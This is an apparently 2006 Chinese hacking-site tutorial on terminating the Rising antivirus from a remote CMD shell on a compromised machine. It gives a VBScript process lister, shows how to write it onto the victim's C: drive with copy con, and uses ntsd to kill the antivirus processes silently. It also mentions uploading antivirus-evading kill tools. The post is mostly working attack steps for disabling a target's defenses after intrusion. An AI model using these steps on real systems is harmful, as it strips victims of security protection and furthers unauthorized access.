oollmmes：
hunman：
li_l111@163.com：
dk：
感动：
308004108：
DUANIII：
46：
insingspourne：
chou：
kean：如何在CMDShell下干掉瑞星？
很多人都说在shell下关不掉瑞星，停止不了他的服务，因为停的时候会弹出确认的提示。其实很简单，我们可以在没有任何工具辅助的情况下关掉他，并且没有任何提示。
我们的思路就是用脚本列出当前系统教程的PID，然后用系统自带的ntsd.exe来结束这个进程。下面看操作！
这个就是脚本的内容(保存为.vbs就可以了)：
wscript.echo "PID ProcessName"
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
wscript.echo ps.handle&vbtab&ps.name
next
前提是我们得想办法把这个脚本写到目标主机上。方法很多，这里就不说了，进入正题。
我们先用正常的方法停止试试，会弹出提示，这个时候我们的CMDshell就会死掉，所以我们用结束进程的方法。
输入命令的时候一定要是 cscript pid.vbs 如果只输入pid.vbs就会是这样，看到了吧？
7304 CCenter.exe
8088 RavMonD.exe
4676 RavStub.exe
6992 RavMon.exe
这些就是瑞星的进程了，我们用ntsd.exe来结束他，(ntsd.exe是系统自带的)
命令:
ntsd -c q -p
就是这么简单！当然，如果有条件上传一个免杀的pslist.exe和pskill.exe或者mt.exe就可以不用这么麻烦了。教程就到这里，没什么技术含量，大家不要见笑。
如何将这个VBS种植于别人的电脑上呢？
1、我们在他的C盘写一个bat文件：
copy con 1.bat
写入
wscript.echo "PID ProcessName"
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
wscript.echo ps.handle&vbtab&ps.name
next
然后
rename 1.bat 1.vbs
这样就在他的C盘种上了这个VBS脚本。
2、直接写入VBS脚本也写可以
copy con 1.vbs
写入
wscript.echo "PID ProcessName"
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
wscript.echo ps.handle&vbtab&ps.name
next
最后说一下，XP及XP以上系统自带了一个tasklist和taskkill可以分别用来列出进程和杀死进程。
（野球小子 于 2006-11-05 12:13 AM）
本文永久链接地址：http://www.hack520.org/cmdshell-kill-ruixing
